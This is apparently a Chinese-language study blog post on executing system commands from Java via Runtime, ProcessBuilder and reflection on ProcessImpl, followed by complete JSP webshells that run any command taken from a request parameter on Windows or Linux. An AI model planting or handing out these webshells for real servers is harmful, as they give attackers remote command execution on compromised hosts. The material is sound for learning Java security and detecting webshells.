Java 命令执行

前言

在学习了反射之后赶紧看一下执行系统命令的一些类。

执行命令的类

RunTime类

也是用的最多的一种,通过Runtime类的exec方法执行系统命令。
关键代码为:

Process p = Runtime.getRuntime().exec("calc");

结合IO操作,将结果打印出来,代码为:

    public void test3() throws IOException {
        try {
            Process p = Runtime.getRuntime().exec("whoami");
            InputStream input = p.getInputStream();
            InputStreamReader ins = new InputStreamReader(input, "GBK");
            //InputStreamReader 字节流到字符流,并指定编码格式
            BufferedReader br = new BufferedReader(ins);
            //BufferedReader 从字符流读取文件并缓存字符
            String line;
            while ((line = br.readLine()) != null) {
                System.out.println(line);
            }
            br.close();
            ins.close();
            input.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

过程:
通过Runtime类的exec方法执行命令获取输入流getInputStream(),再InputStreamReader处理流转换为字符流,并指定gbk的编码格式。BufferedReader缓冲流读取文本到缓冲区,再通过readLine()方法打印出结果。

ProcessBuilder 类

ProcessBuilder类通过创建系统进程执行命令。
关键代码为:

ProcessBuilder builder = new ProcessBuilder("calc");
Process process = builder.start();

将获取到进程中的输出信息和错误信息,通过IO流的方式的读取。

    public void test3() {
        try {
            String[] cmds = new String[]{"cmd","/c","ipconfig"};
            ProcessBuilder builder = new ProcessBuilder(cmds);
            Process process = builder.start();
            InputStream in = process.getInputStream();
            //获取输入流
            InputStreamReader ins = new InputStreamReader(in, "GBK");
            // 字节流转化为字符流,并指定编码格式
            char[] chs = new char[1024];
            int len;
            while((len = ins.read(chs)) != -1){
                System.out.println(new String(chs,0,len));//字符串类型输出
            }
            ins.close();
            in.close();

        } catch (IOException e) {
            e.printStackTrace();
        }
    }

过程:
通过ProcessBuilder类执行系统命令。
相比较Runtime类执行系统命令,这次试用String[]字符串数组指定程序执行的系统命令。
如果是windows,则为
String[] cmds = new String[]{"cmd","/c","ipconfig"};
如果是linux,则为
String[] cmds = new String[]{"/bin/bash","-c","ifconfig"};
在打印的时候字符强制转换为字符串。

反射调用ProcessImpl类

Runtime和ProcessBuilder执行命令实际上调用的也是ProcessImpl类。
对于该类,没有构造方法,只有一个private类型的方法,可以通过反射调用。
关键代码为:

Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, new String[]{"calc"}, null, ".", null, true); 
    public void test3() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        //String[] cmds = new String[]{"cmd","/c","ipconfig"};
        String[] cmds = new String[]{"/bin/bash","-c","touch 3.txt"};
        Class clazz = Class.forName("java.lang.ProcessImpl");
        //获取该class类
        Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
        method.setAccessible(true);
        //忽略访问权限
        Process invoke1 = (Process) method.invoke(null, cmds, null, ".", null, true);

        InputStream input = invoke1.getInputStream();
        InputStreamReader ins = new InputStreamReader(input, "GBK");
        //InputStreamReader 字节流到字符流,并指定编码格式
        BufferedReader br = new BufferedReader(ins);
        //BufferedReader 从字符流读取文件并缓存字符
        String line;
        while ((line = br.readLine()) != null) {
            System.out.println(line);
        }
        br.close();
        ins.close();
        input.close();
        invoke1.getOutputStream().close();
    }

反射调用Runtime类

关键代码为:

Class clazz = Class.forName("java.lang.Runtime");
Constructor constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
Object runtimeInstance = constructor.newInstance();
Method runtimeMethod = clazz.getMethod("exec", String.class);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, "calc");

java.lang.Runtime类的无参构造方法私有的,可以通过反射修改方法的访问权限setAccessible,强制可以访问,然后获取类构造器的方法。再通过newInstance()创建对象,反射再调用方法。

    public void test3() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        //String[] cmds = new String[]{"cmd","/c","ipconfig"};
        String[] cmds = new String[]{"/bin/bash","-c","touch 1.txt"};
        Class clazz = Class.forName("java.lang.Runtime");
        // 2. 获取无参构造器
        Constructor declaredConstructor = clazz.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        // 3. Constructor.newInstance() 创建对象
        Object o = declaredConstructor.newInstance();
        //Runtime o1 = (Runtime) o;
        // 4. 获取方法
        Method show = clazz.getDeclaredMethod("exec", String[].class);
        Object invoke = show.invoke(o, (Object) cmds);
        Process invoke1 = (Process) invoke;

        InputStream input = invoke1.getInputStream();
        InputStreamReader ins = new InputStreamReader(input, "GBK");
        //InputStreamReader 字节流到字符流,并指定编码格式
        BufferedReader br = new BufferedReader(ins);
        //BufferedReader 从字符流读取文件并缓存字符
        String line;
        while ((line = br.readLine()) != null) {
            System.out.println(line);
        }
        br.close();
        ins.close();
        input.close();
        invoke1.getOutputStream().close();
    }

jsp 命令执行

学习了java执行命令的方法,顺手也就会了jsp命令执行的webshell。

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
out.print(System.getProperty("os.name").toLowerCase());
String  cmd = request.getParameter("cmd");
if(cmd != null){
    Process p =  Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
    InputStream input = p.getInputStream();
    InputStreamReader ins = new InputStreamReader(input, "GBK");
    BufferedReader br = new BufferedReader(ins);
    out.print("<pre>");
    String line;
    while((line = br.readLine()) != null) {
        out.println(line);
    }
    out.print("</pre>");
    br.close();
    ins.close();
    input.close();
    p.getOutputStream().close();
}
%>

Runtime方法为例,将try语句直接移动过来。System.out.println()修改为out.println(),添加out.print("<pre>")格式化输出,import导入所需要的包。

image.png

将脚本改成适用于windows和linux。

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
    try {
        String os = System.getProperty("os.name");
        if(os.toLowerCase().startsWith("win")){
            out.print("windows");
            String  cmd = request.getParameter("cmd");
            Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
            InputStream input = p.getInputStream();
            InputStreamReader ins = new InputStreamReader(input, "GBK");
            BufferedReader br = new BufferedReader(ins);
            String line;
            out.print("<pre>");
            while((line = br.readLine())!=null) {
                out.println(line);
            }
            out.print("</pre>");
            br.close();
            ins.close();
            input.close();
            p.getOutputStream().close();
        }else{
            out.print("Linux");
            InputStream in = Runtime.getRuntime().exec(request.getParameter("shell")).getInputStream();
            InputStreamReader ins = new InputStreamReader(in);
            char[] chs = new char[1024];
            int len;
            out.print("<pre>");
            while((len = ins.read(chs)) != -1){
                System.out.println(new String(chs,0,len));
            }
            out.print("</pre>");
        }
    }
    catch (IOException e) {
        e.printStackTrace();
    }
%>

总结

通过收集、编写一些命令执行的方式,对java的命令执行有了初步了解,且对比之前的反射机制多了一些理解。

参考资料

https://www.anquanke.com/post/id/221159
https://www.bookstack.cn/read/anbai-inc-javaweb-sec/javase-CommandExecution-README.md
https://ca01h.top/Java/code/6.Java%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E4%B9%8B%E6%9C%AC%E5%9C%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,117评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,963评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 107,897评论 0 240
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,805评论 0 203
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,208评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,535评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,797评论 2 311
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,493评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,215评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,477评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,988评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,325评论 2 252
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,971评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,055评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,807评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,544评论 2 271
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,455评论 2 266